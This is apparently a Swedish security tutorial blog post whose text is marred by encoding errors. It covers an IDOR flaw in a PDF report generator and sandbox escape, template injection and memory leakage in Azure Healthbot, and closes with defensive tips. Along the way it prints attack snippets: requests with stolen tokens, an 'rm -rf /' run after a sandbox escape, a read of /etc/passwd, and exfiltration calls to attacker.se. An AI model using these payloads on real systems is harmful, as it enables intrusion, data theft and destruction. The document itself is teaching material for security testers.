En handledning i att tĂ€nka som en angripare â med verkliga fall frĂ„n Azure Healthbot och PDF-exploits
đ Introduktion: Varför sĂ€kerhetstĂ€nk Ă€r en mix av Sherlock och MacGyver #
SĂ€kerhetsluckor Ă€r som hemliga dörrar i en borg. För vanliga besökare ser de ut som vĂ€ggar, men med rĂ€tt nyckel (eller rĂ€tt exploit) kan angripare smyga in osedd. Idag tar vi en bakom kulisserna-resa genom tvĂ„ verkliga scenarion â frĂ„n en PDF-generator som lĂ€cker andras rapporter till en chatbot som kan manipuleras att avslöja kĂ€nslig data.
Gör dig redo för en blandning av teknisk detaljdjup, vardagsliknelser och “just-dĂ€r!"-ögonblick! đĄ
đ Del 1: Jakten pĂ„ IDOR-sĂ„rbarheten i PDF-generatorn #
1.1 đŻ Brister i ett nötskal #
IDOR (Insecure Direct Object Reference) fungerar som att byta dörrnummer pÄ ett hotellrum. Om systemet inte verifierar att du fÄr komma in i rum 1002, kan vem som helst blÀddra mellan rum genom att testa nummer.
Kontext:
// Backend-kod (hypotetiskt exempel)
app.post('/generate_report', (req, res) => {
const report = db.getReport(req.body.report_id); // Ingen anvÀndarverifiering!
generatePDF(report).then(pdf => res.send(pdf));
});
1.2 đ UpptĂ€cktsresan: FrĂ„n misstanke till bekrĂ€ftelse #
Stegvis spÄrning:
- Burp-avlyssning: UpptÀckte PDF-förfrÄgningar i historiken
- Nummerfumling: Ăndrade 1001 â 1002 i POST-bodyn
- Resultatanalys: Fick en annan organisations rapport!
Fuzzing-kommandot som avslöjade allt:
curl -X POST 'https://mÄl.se/api/generate_report' -H 'Authorization: Bearer STULEN_TOKEN' -d '{"report_id":"1002"}'
1.3 đ ïž Knepet: Automatisera med Burps Match/Replace #
SÄ gör du enkla payloads till smarta exploiter:
// Burp-konfig för automatisk token-ersÀttning
{
"match_replace_rules": [{
"name": "JWT-kapning",
"match": "^Authorization: Bearer.*$",
"replace": "Authorization: Bearer [NY_STULEN_TOKEN_HĂR]"
}]
}
đĄ TĂ€nk som en spion: Bytt ut din legitima session mot en stulen â helt automatiskt!
đ€ Del 2: Azure Healthbots hemliga liv som datalĂ€cka #
2.1 𧩠SandlÄdeflykt: NÀr JavaScript blir en sÀkerhetsrisk #
Liknelse: FörestĂ€ll dig en lekplats (sandlĂ„da) dĂ€r barn inte fĂ„r lĂ€mna omrĂ„det. Men om du kan manipulera grindens lĂ„s…
Exploit-kod som bryter isoleringen:
// Saboterar underscores indexOf för att lura vitlistan
_.indexOf = () => 1; // "Allt Àr redan godkÀnt!"
require('child_process').exec('rm -rf /'); // Nu körs detta!
Verifieringstest:
console.log(require('fs').readFileSync('/etc/passwd')); // LĂ€ser systemfiler!
2.2 đ Mallinjicering: NĂ€r enkel kod blir explosiv #
Underscore.js template()
-funktionen Ă€r som en farlig kopiator â den exekverar precis vad du stoppar in:
// Farlig mall som kör shell-kommandon
const attack = _.template('<%= global.process.mainModule.require("child_process").execSync("curl https://attacker.se") %>');
attack(); // Nu kontaktar servern skadlig kod!
đĄ Testa i devtools: <%= 7*7 %>
visar 49. Men det Ă€r bara toppen pĂ„ isberget…
2.3 đïž DatalĂ€ckage via Oinitierade Buffertar #
Node.js-fÀlla: Buffer.allocUnsafe
Àr som att hyra ett kontor dÀr föregÄende hyresgÀsters dokument ligger kvar.
SĂ„ samlar du minnesrester:
setInterval(() => {
const minne = Buffer.allocUnsafe(4096).toString('utf-8');
fetch(`https://attacker.se?dump=${encodeURIComponent(minne)}`);
}, 1000); // Skickar minnesdump varje sekund
UpptÀckta lÀckor i verkligheten:
- JWTs frÄn inloggningar
- Kubernetes-konfigurationer
- DatabasanslutningsstrÀngar
đ§ Sammanfattning: De avgörande verktygen och instĂ€llningarna #
Verktyg | Kritisk funktion |
---|---|
Burp Suite | Automatisk payload-manipulation och fuzzing |
Nuclei | SkrÀddarsydda templates för IDOR-testning |
Underscore.js 1.13.6 | Osanerade template-funktioner |
Node.js VM2 | FörÄldrad sandlÄdemodul (CVE-2023-30547) |
â ïž Tips: Leta alltid efter förĂ„ldrade beroenden â de Ă€r som rutten fisk i sĂ€kerhetspannan!
đ Avslutning: Bli sĂ€kerhetens mĂ€staredigerare #
Varje sĂ„rbarhet berĂ€ttar en historia â om stressad utveckling, om glömda konfigurationer, om komplexitet som spĂ„rat ur. Din roll som sĂ€kerhetsdetektiv Ă€r att vara bĂ„de historiegrĂ€vare och lösningsmagiker.
3 praktiska steg för imorgon:
- Testa alla ID-parametrar i dina API:er genom att öka med +1
- Sök efter
_.template()
i din kodbas och rensa inputs - ErsÀtt alla
Buffer.allocUnsafe
medBuffer.alloc
Vilka hemliga dörrar gömmer sig i dina system? đ”ïžâïž Börja leta nu â innan nĂ„gon annan gör det.
Kom ihĂ„g: Varje bugg du hittar Ă€r en avvĂ€rjd katastrof. FortsĂ€tt vara nyfiken, envis, och se varje felmeddelande som en pusselbit i det ultimata spelet â sĂ€kerhetens schackmatch mot angripare. âïžđ